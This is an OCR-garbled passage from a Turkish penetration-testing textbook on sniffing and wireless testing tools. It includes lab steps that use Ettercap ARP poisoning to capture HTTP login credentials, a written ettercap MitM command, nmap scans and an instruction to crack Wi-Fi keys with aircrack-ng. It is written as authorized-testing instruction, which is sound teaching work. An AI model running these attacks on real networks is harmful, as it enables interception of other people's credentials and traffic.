adresinin gorildigi tespit edilmistir. Normal sartlarda bir IP adresinin tek bir MAC adresi ile
eslesmesi gerekirken bu durum, ARP spoofing saldirisinin varligina isaret etmektedir. Bu tur
saldirilarda saldirgan, kendisini ag gecidi gibi gostererek ag trafigini lizerine yonlendirebilir
ve hassas verileri ele gecirebilir.

3. Ettercap

Ettercap, klasik bir sniffing araci 6zelliklerine sahiptir. Bunun yaninda aktif miidahale o6zellikleri de
barindirir. Ozellikle ARP spoofing senaryolarinda kullanilir.

«  MitM atak uygulamalari

Sizma testi agisindan g Sifrelenmemis kimlik bilgisi yakalama

Ettercap su amaglarla
tercih edilir:

« Oturum ele gecirme girisimleri

« Trafik manipilasyonu

Switch ortaminda dogrudan tim trafigi gormek mimkiin olmadiginda, ARP zehirleme ile hedef trafigin
test sistemine yonlendirilmesi saglanabilir. Bu, pasif dinlemeden aktif saldiri asamasina gegis anlamina
gelir.

Mane-in-the-Middle [Ortadaki Adam (MitM)] saldirisi; bir saldirganin iki taraf arasinda gegen iletisime
gizlice dahil olarak veri alisverisini dinlemesi, manipille etmesi veya yonlendirmesi ile gerceklesen bir
siber saldiri tiridur. Bu tir saldirilarda kurbanlar, iletisimlerinin giivenli oldugunu disiintrken aslinda
araya giren bir saldirgan tarafindan izlenir. Saldirgan bu sirecte sifreler, oturum bilgileri, kisisel veriler
gibi hassas bilgileri ele gecirebilir veya iletisimi degistirerek yanlis bilgi aktarimi saglayabilir. MitM
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saldirilari 6zellikle glivenli olmayan aglarda, kamuya agik Wi-Fi aglarinda ve zayif sifreleme yontemleri
kullanilan sistemlerde biyuk bir risk teskil eder.

14. Uygulama

Kali Linux isletim sisteminde kurulu gelen ettercap-graphical uygulamasini kullanarak yerel aginizda
bulunan Windows 7 bir istemci cihazin ag gegidi ile arasina giriniz (MitM saldirisi). istemci cihazin HTML
site oturum bilgilerini ele geciren uygulamay!i yapiniz.

1. Adim: Windows 7 kurulu istemci bilgisayari ile Kali Linux kurulu bilgisayarin ayni agda oldugunu
dogrulayiniz (Gorsel 2.48, 2.49).

r ~
Ag Baglantisi Ayrnintilan @
A3 Baglartizs Aynritilan:
Ozellik Deder Genel
Bajlartiya Ozgi DNS S... - localdomain Arayiiz Kablolu Baglanti (eth0)
Agiklama Intel(R) PRO/100 VE Ag Badlantis =
Fiziksel Adres
DHCP Etkin Evet
IPv4 Adresi 192.168.87.128
IPv4 Alt Ag Maskesi 255.255.255.0
ra Alindi EGH azar 21:16:28
Kiranin Sona Ermesi 26 Agustos 2024 Pazartesi 01:21:01

IPvd Varsaylan Ajd Gegidi  192.168.87.2

IPv4 DHCP Sunucusu 192.168.87.254

IPvd DNS Sunucusu 192.168.87.2

IPvd WINS Sunucusu 152.168.87.2

Tcpip Gzernden MNetBIO... Ewet

Baglant yerel IPvE Adresi  fe80::ad53:63% f7ed 4850711
IPvE Varsaylan Ad Gegidi

IPvE DNS Sunucusu

Kapat

Gorsel 2.49: Kali Linux IP yapilandirmasi

Gorsel 2.48: Windows 7 IP yapilandirmasi

2. Adim: Kali Linux igletim sistemi yukli cihazdan Sniffing & Spoofing araglari arasinda kurulu gelen
ettercap-graphical isimli uygulamayi aciniz (Goérsel 2.50).

Q

Sik kullamilanlar T
'f S e b 6-E-Jet\-'.-'ork.‘_wr||1'fer5

(¥) Son Kullanilanlar
=/ » &P * Spoofing & MITM
I Tim Uygulamalar

@ ettercap-graphical

B macchanger

i ) __ ) minicom
@), 01- Information Gathering

mitmp

oLr, 02 - Vulnerability Analy
/eb Application Analysis v netsniff-ng

Gorsel 2.50: Kali Linux isletim sisteminde uygulamanin agilmasi
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3. Adim: Gorsel 2.51’de yazan ayarlari kontrol edip belirtilen onay isaretine tiklayiniz.

Ettercap

Setup
at startup

Primary Interface  ethQ

Bridged Interface

Gorsel 2.51: Ettercap ile ag1 izlemeye onay verilmesi

4. Adim: Onay verilmesinin ardindan Ettercap; lokal aginizda bulunan diger cihazlari bularak izleme
islemine baslayacaktir, gbzlemleyiniz (Gorsel 2.52).

2182 known services
| ua: no scriots were specified, not starting up!
« Starting Unified sniffing...

¥] REQUEST 192.168.87.1
]7 7541 ACK - 197 168 7 1755 755 755 0 GW invalid
|DHCP: [0 :6D:8A:47] REQUEST 192.168.87.1
'DHCP: [192.168.87.254] ACK : 192.168.87.130 255.255.255.0 GW 192.168.87.2 DNS 192.168.87.2 "localdomain”
DHCP: [00:(% MEN0C] REQUEST 192.168.87.129
DHCP: [192.168.87.254] ACK : 192.168.87.129 255.255.255.0 GW 192.168.87.2 DNS 192.168.87.2 "localdomain”

Gérsel 2.52: izleme isleminin baslamasi

5. Adim: Gorsel 2.53’te isaretlenmis alana tiklayarak host listesinde yerel aginizda bulunan MitM
saldirisini uygulayacaginiz istemci cihazi listede goruntileyiniz.

n B Ettercap e ® !
Host List x
] Hosts

IP Address MAC Address Description
= Hosts list

0
Enable IPv6 Scan

Scan for hosts

Load hosts from file ...

Addto Target1 Addto Target 2

'1REQUEST 1921
58.87.254] ACK : 192.168.87.12¢

Gorsel 2.53: Host listesinin goriintiilenmesi
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6. Adim: Gorsel 2.54’te isaretlenmis alanda bulunan ARP poisoning secenegini tiklayarak saldiriyi
baslatiniz.

Ettercap

SSL Intercept

ARP poisoning victims:
OUP 1: ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

Gorsel 2.54: MitM saldirisinin baslatilmasi

7. Adim: Gelen pencerede Sniff remote connections. alaninin segili oldugunu onaylayarak OK tusuna
basiniz (Gorsel 2.55).

m MitM saldirisi baslamistir ve istemci cihaz, SINRR | MM Antack: ARE Possaning
HTML sitelerinde gezindiginde oturum _ Optional parameters
bilgileri Ettercap aracilhigl ile Kali Linux 2 ¥ Sniff remote connections.
- =
kullanicisina ulasacaktr. Only poison one-way.

Gorsel 2.55: Onay verilmesi

8. Adim: Windows kurulu istemci GO Ie
bilgisayarinda yiklii browserlardan g

birini kullanarak http login test
aramasl gercgeklestiriniz  (Gorsel htip login tesf Geigmi arama
2.56) ve aramada ¢ikan sonuglardan
login paneli testi imkani saglayan
bir HTML sitesine giris yapiniz.

Google'da Ara | Kendimi Sansh Hissediyorum |

Gorsel 2.56: Google arama ifadesi

If you are already registered please enter your login information below:

9. Adim: Giris yaptiginiz test sitesinde

Username: alanina kitap ve Password: Username  |idtap |
alanina siber ifadelerini girerek oturum Password - f{essseeeces J
acma istegi gonderiniz (Gorsel 2.57). [ togn |

Gorsel 2.57: Oturum bilgilerinin girislerinin yapiimasi
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10. Adim: Kali Linux isletim sistemi yukli cihazin Ettercap uygulamasi panelini kontrol ederek oturum
bilgilerini ele gegiriniz (Gorsel 2.58).

Ettercap

Gorsel 2.58: Oturum bilgilerinin Ettercap araciligi ile elde edilmesi

Sira Sizde

Yerel ag ortaminda gerceklesen DNS sorgularini analiz etmek amaciyla Ettercap aracini kullanarak
ag Gzerindeki istemcilerin hangi alan adlarina erisim sagladigini inceleyiniz. Elde edilen DNS trafigini
analiz ederek giivenlik agisindan degerlendiriniz.

4. dsniff Arag Seti

dsniff arag seti, ag lzerinde gergeklestirilen pasif dinleme ve Man-in-the-Middle saldirilari yoluyla
kimlik bilgisi elde etmeye odaklanan giiclii bir arac¢ koleksiyonudur. Ozellikle sifrelenmemis protokollerin
kullanildigi ortamlarda kullanicr adi, parola, oturum bilgileri gibi hassas verilerin ele gegcirilmesini saglar.
Bu arag seti, sizma testlerinin i¢ ag (internal pentest) asamasinda siklikla kullanilir.

« mailsnarf (SMTP, POP3 gibi protokoller Uzerinden gecen
e-posta iceriklerini izler.)

dsniff icerisinde bulunan ve

« urlsnarf (HTTP isteklerini analiz ederek kullanicilarin ziyaret

farkli amaclara hizmet eden alt N R
ettigi web adreslerini gérintuler.)

araglar sunlardir:

+ arpspoof (ARP tablolarini manipiile ederek saldirganin ag
trafigini Gzerine yonlendirmesini saglar.)

« Agicerisinde MitM konumuna gecerek kullanici trafigini izlemek

+ Sifrelenmemis protokoller Uzerinden iletilen kimlik bilgilerini elde

Bir sizma testi uzmani etmek

dsniff arag setini genellikle
su senaryolarda kullanir:

+ Kullanici davraniglarini analiz ederek hedef odakli saldirilar planlamak

« Agda kullanilan glivenlik mekanizmalarinin (6rnegin HTTPS
zorunlulugu) etkinligini test etmek
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Ozellikle arpspoof araci ile gerceklestirilen ARP manipiilasyonu sonrasinda diger dsniff araclari kulla-
nilarak ag trafigi detayl sekilde analiz edilebilir. Bu sayede saldirgan, kullanicilarin farkinda olmadan
gerceklestirdigi islemleri gdzlemleyebilir.

+ Sifrelenmemis veri iletimi (HTTP, FTP, Telnet vb.)

dsniff arag seti ile
gergeklestirilen analizler,

ARP spoofing saldirilarina karsi koruma eksikligi

LRI DRI . Ag ici trafigin kolaylikla izlenebilir olmasi
varligini ortaya ¢ikarir:

« Kimlik bilgilerinin glivenli sekilde korunmamasi

Sira Sizde

Yerel ag ortaminda gerceklesen ag trafigini analiz etmek amaciyla dsniff arag setini kullanarak ag
Uzerindeki kullanici hareketlerini gbzlemleyiniz. Elde edilen verileri inceleyerek potansiyel glivenlik
risklerini degerlendiriniz.

5. Bettercap

Bettercap, modern MitM ve sniffing senaryolari icin gelistirilmis glicli bir aragtir. Hem kablolu hem de
kablosuz ortamlarda calisabilir. Bettercap, bir sizma testi uzmanina su islemleri yapabilme imkani sunar:

Otomatik Ag Kesfi: Ag Gzerindeki aktif cihazlari, gatewayi ve hedefleri hizli sekilde tespit eder.

ARP Spoofing (MitM konumlanma): Hedef sistemle ag gecidi arasina girerek tim trafigi kontrol altina
ahr.

DNS Spoofing: Kullanicilari sahte IP adreslerine yonlendirerek phishing senaryolari olusturur.
HTTP/HTTPS Proxy Entegrasyonu: Trafigi analiz etme, degistirme ve yénlendirme imkéani saglar.

Oturum Bilgisi ve Veri Toplama: Cookie, credential ve kullanici davranislarini yakalayabilir.

« Agda MitM konumuna gecerek kullanici trafigini izlemek ve analiz etmek

- Sifrelenmemis protokoller izerinden iletilen hassas verileri tespit etmek

Bettercap, sizma
testlerinde genellikle

« DNS spoofing ile kullanicilari sahte web sayfalarina yonlendirmek

su amaclar igin (phishing similasyonu)

kullanir: « Web trafigini manipiile ederek giivenlik kontrollerini test etmek

« Guvenlik mekanizmalarinin (HTTPS, HSTS, sertifika dogrulama vb.)
etkinligini degerlendirmek
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) «  MitM saldirilarina karsi koruma eksikligi
Bettercap ile

gk i et © DNS manipilasyonuna agik yapilandirmalar

lizerinde su zafiyetlerin « HTTPS zorunlulugunun olmamasi veya yanhs uygulanmasi
varligini ortaya ¢ikarir:

« Kullanici trafiginin izlenebilir ve degistirilebilir olmasi

Bettercap, klasik sniffing yaklasimini daha modiiler ve script destekli hale getirir. Ozellikle red team
senaryolarinda tercih edilir.

Sira Sizde

Yerel ag ortaminda gerceklesen ag trafigini analiz etmek ve aktif cihazlar tespit etmek amaciyla
Bettercap aracini kullanarak ag kesfi ve trafik izleme islemi gergeklestiriniz. Elde edilen bulgulari
sizma testi perspektifinden degerlendiriniz.

6. NetworkMiner

NetworkMiner, yakalanmis ag trafigini analiz ederek anlamli verileri otomatik olarak ¢ikaran pasif bir ag
adli analiz (network forensic) aracidir. Klasik paket yakalama araclarindan farkh olarak, ham paketleri
tek tek incelemek yerine trafigi yorumlayarak st katman bilgilerini ayristirir. Ozellikle pcap formatinda
kaydedilmis trafik dosyalarinin hizli analizinde tercih edilir.

« Yakalanan trafikten otomatik host (IP-MAC) envanteri ¢ikarma

B ——— + lIsletim sistemi tahmini yapabilme

NetworkMiner su + Sifrelenmemis kimlik bilgilerini tespit etme

avantajlari saglar:

HTTP, FTP, SMTP gibi protokollerden dosya c¢ikarimi (file extraction)

« Oturum ve uygulama katmani verilerini 6zet halinde sunma

ic agda tcpdump veya Wireshark ile elde edilen bir pcap dosyasi NetworkMiner ile analiz edildiginde
agda aktif olan sistemler, indirilen dosyalar, génderilen e-posta ekleri veya diiz metin iletilmis kullanici
adi ve parolalar hizh sekilde ortaya cikarilabilir.

NetworkMiner, aktif trafik Gretmez. Yalnizca mevcut veya kaydedilmis trafigi analiz eder. Bu nedenle
ozellikle i¢ ag sizma testlerinde MitM sonrasinda elde edilen verilerin yorumlanmasi veya olay sonrasi
inceleme (post-exploitation analiz) asamalarinda kullanislidir. Bettercap gibi araclar trafik yonlendirme
ve midahale yetenegi sunarken NetworkMiner elde edilen trafigin anlamlandirilmasini saglar. Bu
yoniyle saldiri zincirinde veri toplama ile analiz asamasi arasinda kopri gorevi gorur.
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Sira Sizde

Wireshark ile gerceklestirilen HTTP, DNS ve TCP analizlerinden elde edilen ag trafigi (pcap) dosyasini
NetworkMiner araci ile analiz ediniz. Elde edilen veriler dogrultusunda kullanici davranislarini,
sistem envanterini ve sifrelenmemis kimlik bilgilerini inceleyerek bulgulari sizma testi uzmani bakis

acisi ile degerlendiriniz.
N\ Y,

2.3.2. Kablosuz Ortam Dinleme Araglari

Kablolu aglarda trafige erisim icin fiziksel baglanti gerekirken kablosuz aglarda kisilerin yalnizca kapsama
alanina girmesi yeterlidir. Bu durum, kablosuz aglari kablolu aglara gore daha erisilebilir hale getirirken
ayni zamanda saldiri ylizeyini de genisletir. Bu nedenle kablosuz ag glvenligi, klasik ag glivenliginden
farkh, ayri bir konu olarak degerlendirilmelidir.

Kablosuz aglara yonelik sizma testi yalnizca parola glivenligini test etmek degildir. Asil amag; erisim
kontrol mekanizmalarinin dogrulugunu, yapilandirma hatalarini, istemci davranislarini ve kablosuz
iletisimin tamaminin glvenligini test etmektir (Gorsel 2.59). Kablosuz testler iki ana kategoriye ayrilir.

Pasif Testler
 Trafik dinleme (sniffing) - Deauthentication saldirilari
« SSID ve istemci kesfi « Evil Twin olusturma
« Management frame analizi « Handshake tetikleme

Aktif testler mutlaka izin kapsaminda gergeklestirilmelidir.

Gorsel 2.59: Kablosuz ortam dinleme
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Sizma testlerinde kablosuz agin test edilmesi, dogrudan aga baglanmak anlamina gelmez. Aksine ¢ogu
durumda ilk asama tamamen pasif dinleme ve kablosuz agi gézlem (zerine kuruludur.

« Yayin yapan erisim noktalarinin (Access Point) varlig

« Yetkisiz erisim noktalarinin tespiti

Kablosuz sizma « Kullanilan sifreleme tirleri ve glivenlik seviyeleri

testinde su basliklar
degerlendirilir:

. Istemci cihazlarin baglanti davranislari

« Kimlik dogrulama mekanizmalarinin dogrulugu

« Yanls veya zayif yapilandirmalar

Kablosuz ortamda gergeklestirilen dinleme islemi, cogu zaman saldiri zincirinin ilk adimini olusturur.
Bunun temel nedeni, kablosuz iletisimde kullanilan management framelerin (Beacon, Probe Request,
Probe Response vb.) ag hakkinda dogrudan bilgi saglamasidir. Ornegin bir istemcinin gonderdigi
probe request paketleri, daha 6nce baglandigi aglar agiga cikarabilir. Bu durum, istemciye yonelik
hedefli saldirilarin planlanmasinda 6nemli rol oynar. Bu nedenle kablosuz sizma testlerinde kesif
(reconnaissance) asamasi son derece dnemlidir ancak kablosuz aglarin fiziksel sinirlari asabilmesi
nedeniyle test kapsaminin net sekilde tanimlanmasi gerekir. Test sirasinda yalnizca yetkilendirilmis
aglar lzerinde galisiimali ve komsu aglara miidahale edilmemelidir.

« Test edilecek SSID’lerin belirlenmesi

Fiziksel test alaninin sinirlandirilmasi

Bu asamada su

hazirliklar yapilir: Aktif midahale (6rnegin deauthentication) izninin netlestirilmesi

Sosyal miihendislik senaryolarinin kapsam dahilinde olup olmadiginin
belirlenmesi

Kapsam net degilse kablosuz test, hukuki risk dogurabilir. Bu nedenle kablosuz sizma testi her zaman
yazil izinle gerceklestirilmelidir.

Kablosuz sizma testlerinin ilk adimi pasif kesiftir. Bu asamada herhangi bir aga baglanmadan yalnizca
ortam dinlenerek bilgi toplanir. Bu islem icin ag kartinin monitor moda (monitor mode) alinmasi
gerekir. Monitor mode, kablosuz adaptoriin yalnizca bagli oldugu agi degil bulundugu frekanstaki tim
trafigi dinlemesini saglar.

« Yayin yapan ve gizli SSID’ler

« BSSID (erisim noktasi MAC adresleri)

« Kullanilan sifreleme tirleri (WEP, WPA2, WPA3 vb.)

Pasif kesif sirasinda

degerlendirilen baslica - Kanal bilgileri ve kanal yogunlugu
unsurlar sunlardir:

« Sinyal seviyeleri (RSSI)
« Aga bagli istemci sayisi

- Erisim noktasi Uretici bilgisi (OUI analizi)
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Elde edilen veriler, yalnizca agin varligini degil ayni zamanda yapisal giivenlik seviyesini de ortaya koyar.
Ornegin eski sifreleme protokollerinin kullanilmasi, kanal gakismalarinin fazla olmasi veya misafir ve
kurumsal aglarin ayrilmamis olmasi 6nemli risk gostergeleridir. Kablosuz ag testlerinde yalnizca paket
analizi yeterli degildir. Ayni zamanda radyo frekansi ortaminin da degerlendirilmesi gerekir.

Kanal ¢akismalari (co-channel interference)

Radyo frekansi ortaminin

GuUrulta seviyesi
degerlendirilmesinde su

faktérler analiz edilmelidir: Sinyal glicdi dagilimi

Erisim noktalarinin fiziksel konumlandiriimasi

Bu tlir analizler 6zellikle bliyik kurumsal ortamlarda performans ve givenlik iliskisini ortaya koyar.
Kablosuz ag givenliginin 6nemli bir bileseni kimlik dogrulama mekanizmalaridir. Bu asamada amag,
dogrudan sifre kirmak degil kullanilan yapinin dayanikliigini degerlendirmektir.

« WPA2/WPA3-PSK parolalarinin karmasiklig

Test kapsaminda « WPAS3 kullanim durumu ve gegis (transition mode) yapilandirmalari

incelenen konular « 802.1X (Enterprise) yapilandirmasi

sunlardir: - Sertifika dogrulama mekanizmalari

« Kullanilan EAP tirlerinin glivenligi

Ozellikle kurumsal aglarda istemcilerin sertifika dogrulamasi yapmamasi, sahte erisim noktalarina (Evil
Twin) karsi ciddi bir zafiyet olusturur.

WPA/WPA2 aglarda kimlik dogrulama siirecinde olusan el sikisma (handshake) verisi, parola gtivenliginin
test edilmesinde kullanilir. Bu asamada amag, hizmet kesintisi olusturmak degil parola politikalarinin
yeterliligini 6lgcmektir.

« Zayif parola kullanimi

El sikisma verisinden

elde edilebilecek « Tahmin edilebilir parola yapilari
bulgular sunlardir:

« Kurumsal standartlara uymayan parola politikalari

m Kisa slirede tahmin edilebilen parolalar yiiksek risk olarak degerlendirilir.

Kablosuz giivenlik yalnizca erisim noktasi ile sinirl degildir. istemci davraniglari da cok énemlidir.
« Otomatik aglara baglanma (auto-connect)

Risk olusturan - Daha 6nce baglanilan aglarin yayilmasi (probe leak)

durumlar sunlardir: « Acik aglara baglanma egilimi

« Sertifika dogrulamasinin yapilmamasi
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Sayilan turdeki zafiyetler, saldirganlarin istemciyi hedef alarak aga dolayli yoldan erismesine neden
olabilir.

Kablosuz sizma testlerinde sik kullanilan yontemlerden biri sahte erisim noktasi senaryosudur. Bu
yontemde hedef ag ile ayni veya benzer isimde bir erisim noktasi olusturularak istemci davranislari
gbzlemlenir.

» Ayni SSID’ye sahip farkh BSSID'ler

Ortamda bulunan rogue erisim

noktalarinin tespiti icin sunlarin test « Uretici bilgisi uyumsuzluklari

kapsaminda incelemesi gergeklestirilir: | S Kanal ve sinyal farkliliklari

Kablosuz ag testleri yalnizca aga erisim saglamakla sinirli degildir. Asil kritik nokta erisim sonrasindaki
yetkilendirmedir.

« Kablosuz istemci, i¢ aga erisebiliyor mu?

Erisim sonrasi - Misafir agl, gercekten izole edilmis mi?

asamada su sorular
degerlendirilir:

« VLAN segmentasyonu dogru galisiyor mu?

« Erisim kontrol listeleri uygulanmis mi?

m Segmentasyon eksikligi, kablosuz aglarin en kritik zafiyetlerinden biridir.

Kablosuz aglarda kullanilan glivenlik protokolleri yalnizca teknik bir sifreleme mekanizmasi degil
ayni zamanda sizma testlerinin yoniini ve yontemini belirleyen kritik bilesenlerdir. WEP’ten WPA3’e
kadar uzanan bu gelisim sireci, glivenlik aciklarinin nasil evrildigini ve saldirganlarin hangi tekniklere
yoneldigini agikga ortaya koyar. Bu nedenle bir kablosuz agin glvenligini degerlendirirken yalnizca
kullanilan protokolin adi degil uygulama bigimi, parola politikasi, istemci davranislari ve yapilandirma
detaylaribirlikte ele alinmalidir. Tablo 2.8’de yaygin kablosuz glivenlik protokolleri sizma testi kapsaminda
karsilastirilarak her birinin glicll ve zayif yonleri ortaya konulmustur.

Tablo 2.8: Kablosuz Guivenlik Protokolleri Karsilastirmasi

Cikis Yih 1997 2003 2004 2018
Sifreleme
. RC4 TKIP (RC4 tabanli) | AES (CCMP) SAE tabanli AES-GCM

Algoritmasi
Anahtar Yapisi | Statik Dinamik Dinamik Dinamik (gelismis)
Handshake Yok (zayif 4-way

4-way handshake SAE (Dragonfly handshake
Mekanizmasi | auth). v handshake (Dragonfly )
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. IV tekrarlari, RC4 | TKIP Zayf parola, handshake | Yanhs yapilandirma,
Temel Zafiyet . ) . .
zafiyeti zafiyetleri | yakalama transition mode
Sizma Testi Paket toplama + | Sozlik Handshake yakalama + | Offline saldiri zor, aktif
Yontemi istatistiksel analiz | saldirisi brute force saldiri senaryolari
Parolaya bagl k lgll d
Kirilma Siiresi | Dakikalar Saatler aro.aya "ag I co .zor (gt{g N y-/-apl av\./sa
(dakika-giin) pratikte mimkiin degil)
aircrack-ng, . . hexdumptool, hashcat
Araglar . e aircrack-ng | aircrack-ng, hashcat 2
airodump-ng (sinirh)
Aktif Saldiri Gerekli (trafik Obsivonel Genelde gerekli Genelde gerekli (Evil
ihtiyaci Uretmek igin) psty (deauth ile handshake) | Twin vb.)
En Kritik Sizma . Kullanici parolasi ve Kullanici davranisi ve
IV paketleri Zayif parola
Noktasi handshake yapilandirma
Rogue AP / Evil Sertifika varsa dusuk,

f,’, . / Orta Yiksek Cok yuksek . :
Twin Etkisi yoksa yiksek
Client-Side o .

L. Distk Orta Yiiksek Orta
Saldiri Riski
Pentester . Handshake + kullanici Yapilandirma ve kullanici
. . Hizli Exploit Parola test L .
Onceligi zafiyeti hedefli

Kablosuz ag giivenlik protokollerine yonelik saldiri yontemleri incelendiginde, her protokollin kendi
yapisina 6zgu zafiyetler barindirdigi ve bu zafiyetlerin farkli tekniklerle istismar edilebildigi gorilmektedir.
WEP protokoliinde istatistiksel analiz ile anahtar kisa slrede elde edilebilirken, WPA ve WPA2'de siireg
genellikle el sikisma verisinin yakalanmasi ve ardindan sozliik ya da kaba kuvvet saldirilariyla parolanin
tahmin edilmesine dayanir. WPA3 ise daha gelismis bir kimlik dogrulama mekanizmasi sunmasina
ragmen, yanlis yapilandirmalar ve istemci tarafli zafiyetler Gzerinden hedef alinabilmektedir.

/
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Kablosuz ag sizma testi sireci, kapsamin belirlenmesi ve hedef aglarin tanimlanmasi ile baslar.
Ardindan pasif kesif ve trafik dinleme teknikleriyle ag hakkinda detayl bilgi toplanir. Elde edilen veriler
dogrultusunda kullanilan sifreleme yontemleri analiz edilir ve olasi zafiyetler ortaya cikarilir. Sonra,
belirlenen aciklarin gercek etkisini 6lcmek icin kontrolll testler uygulanir ve elde edilen bulgular
dogrulanir. Strecin sonunda ise tiim tespitler raporlanarak agin glivenligini artirmaya yonelik somut ve
uygulanabilir iyilestirme 6nerileri sunulur (Gorsel 2.60).

Yetkilendirme ve

Kapsam Belirleme 1. Izin ve kapsam belirlemesi yapilir.

n=6(SIAEI BN | 2. SSID, BSSID ve kanal bilgileri toplanir.

Pasif Kesif 3. Agtaramasi ve sinyal analizi yapilir.

Trafik Dinleme 4. Veri trafigi izlenir ve analiz edilir.

Sifreleme ve

5 . o 5. WEP / WPA tirleri incelenir.
Guvenlik Analizi

Zafiyet Analizi 6. Givenlik agiklari tespit edilir.

Yetkili Saldiri

o 7. Kontrolli saldiri testleri yapilir.
Similasyonu

Erisim ve Etki

v 8. Erisim seviyeleri degerlendirilir.
Analizi

Bulgularin

o 9. Bulgular dogrulanir ve incelenir.
Dogrulanmasi

Raporlama 10. Zafiyetler ve bulgular raporlanir.

lyilestirme
Onerileri

11. Guvenlik énerileri sunulur.

Gorsel 2.60: Kablosuz ag sizma testi asamalari
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Kablosuz sizma testlerinde kullanilan araglar farkli asamalarda farkli amaglara hizmet eder. Bu araglar;
kesif, trafik analizi, kimlik dogrulama degerlendirmesi, istemci tarafi glivenlik testleri gibi slreclerde
kullanilir ancak unutulmamalidir ki araglar, tek basina giivenlik degerlendirmesi anlamina gelmez, asil
amacg elde edilen verilerin dogru yorumlanmasidir. Kablosuz glivenlik testlerinde yaygin olarak kullanilan
araclar sunlardir:

1. Kismet

Kismet, pasif kablosuz ag kesfi icin kullanilan bir analiz aracidir. Monitér modu destekleyen ag kartlari
Uzerinden galisir ve herhangi bir erisim noktasina baglanmadan ortami dinleyebilir. Pasif ¢alismasi
sayesinde diisiik iz birakan kesif senaryolarinda tercih edilir. Ozellikle fiziksel cevre degerlendirmelerinde
kablosuz ag haritalama icin etkilidir.

» Yayin yapan SSID’lerin tespiti

+ Gizli aglarin ortaya cikariimasi

Sizma testi kapsaminda

(A L EEEEE 8« Erisim noktasi-istemci iligkisinin gdzlemlenmesi
amaciyla kullanilir:

«+ Sifreleme tird analizi

« Paket kaydi olusturulmasi

Kismet araci kullanilarak kablosuz ag ortaminda pasif kesif gerceklestiriniz. istemci cihazlar ile
erisim noktalari arasindaki iletisimi inceleyerek Ortadaki Adam (MitM) saldirilarina zemin hazirlayan
yapilandirma hatalari ve glivenlik zafiyetlerini Wireshark ile analiz ediniz.

1. Adim: Monitér modda olan kablosuz ag kartinizi kismet -c wlan0 komutu ile baslatiniz.

2. Adim: Cevrenizde bulunan erisim noktalarini gériintiilemek igin terminale sudo kismet -c <interface>
kodunu uygulayarak kismet aracinin baslatildigini ve erisim noktalarini gorintileyiniz (Gorsel 2.61,
2.62).

(kali® kali)-[~]
% sudo kismet -c wlan®@
INFO: Including sub-config file: /etc/kismet/kismet_httpd.conf
INFO: Including sub-config file: /etc/kismet/kismet_memory.cenf
INFO: Including sub-config file: /etc/kismet/kismet_alerts.conf
INFO: Including sub-config file: /etc/kismet/kismet_80211.conf
INFO: Including sub-config file: /etc/kismet/kismet_logging.conf
INFO: Including sub-config file: /etc/kismet/kismet_filter.conf
INFO: Including sub-config file: /etc/kismet/kismet_uav.conf
INFO: Loading config override file '/etc/kismet/kismet_package.conf'
INFO: Optional sub-config file not present: fetc/kismet/kismet_package.conf
INFO: Loading config override file 'Jetc/kismet/kismet_site.conf’

H i - i i : i i t site.conf

:2501 (or the address of this system) for the Kismet UI

your browser to http://localhost

INFO: Detected new 802.11 Wi-Fi device 4A:9D:1C:1F:0A:67
INFO: Detected new 802.11 Wi-Fi device 12:8D:3C:4A:69:A1

Gorsel 2.61: Kismet aracinin baslatilmasi
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= Kismet sn-sncasmatsesde. UNknown

| Devices | Alerts  SSIDs  ADSB Live

All devices -

Gorsel 2.62: Kismet araci ile erisim noktalarinin gériintiilenmesi

3.Adim: Hedef ag, WEP/WPA/WPA2 sifreleme kullaniyorsa sifrelemeyi kirmak icin aircrack-ng ile
sifresini ele gegirerek aga baglaniniz.

4.Adim: Bulundugunuz agda nmap taramasini nmap -sn <IP adresi araligi> ile gerceklestiriniz (Gorsel
2.63).

! kali® kali)-[~]

% sudo p 192.168.1.08/24

[sudo] password for kali:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 22:46 +03

Nmap scan report for cspl.zte,.com.cn (192.168.1.1)

Host is up (0.0036s latency).

MAC Address:

Nmap scan report for brw202b204dal31 (192.168.1.2)

Host is up (0.066s latency).

MAC Address: (Cloud Network Technology Singapore PTE.)
Nmap scan report for 192.168.1.3 (192.168.1.3)

Host is up (0.057s latency).

MAC Address: (Foshan Viomi Electric Appliance Technology)
Nmap scan report for lg_smart_dryer2_open (192.168.1.5)

Host is up (0.16s latency).

MAC Address: (Intel Corporate)

Nmap scan report for lgwebostv (192.168.1.16)

Host is up (2.2s latency).

MAC Address: (LG Innotek)
Nmap scan report for kali (192.168.1.38)
Host 1is up.

Nmap done: 256 IP addresses (11 hosts up) scanned in 18.88 seconds

Gorsel 2.63: Nmap ile agda bulunan cihazlarin listelenmesi

5. Adim: Agda bulunan bir hedefe yonelik Ettercap aracini kullanarak Ortadaki Adam saldiri tirlerinden
biri olan ARP spoofing saldirisi gerceklestiriniz (Gorsel 2.64).

(kali® kali)-[~]
L% sudo ettercap -T -q -M arp:remote -i wlan® //192.168.1.15// //192.168.1.1//
[sudo] password for kali:

ettercap ©0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:

wlang —
192.168.1.38/255.255.255.@
feB0::6900:930d:2176:dade/64

ARP poisoning victims:

GROUP 1 : 192.168.1.15

GROUP 2 : 192.168.1.1

Starting Unified sniffing ...

Text only Interface activated...
Hit 'h' for inline help

Gorsel 2.64: ARP spoofing baslatiimasi
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6. Adim: ARP spoofing sirasinda Wireshark araci ile wlan0 arayliziini segerek paketleri toplayiniz
(Gorsel 2.65).

A The Wireshark Network Analyzer [x]
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ABZ@© B[IRE a « » 0 «>»FE| 880 FH

(R]Apply a display filter .... <Ctrl-/> = -+

Capture

...using this filter: |} |Enter a capture filter ... -] Allinterfaces shown~

-

ethO

any
Loopback: lo

Gorsel 2.65: Wireshark ile arayuizlin segilmesi

7. Adim: Wireshark aracinda ARP filtrelemesini yapip, paketlerden birini inceleyerek ARP spoofing
saldirisinin gergeklestirildigini gozlemleyiniz (Gorsel 2.66).

A Capturing from wlan0 [x]
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AR Ad® RRERE a ¢ » A « = o e o 7F [

=3
(Aarp B )+
No. Time Source Destination Protocol Length Info =
4 1.119204963 OgemrayTechn_07:49:.. Intel 57:14:d@ ARP 42 192.168.1.1 is at 70:T1:1c:97:49:25
51.119246987 OgemrayTechn_07:49:. zte 32:78:78 ARP 42 192.168.1.15 is at 70:f1:1c:07:49:25 (c
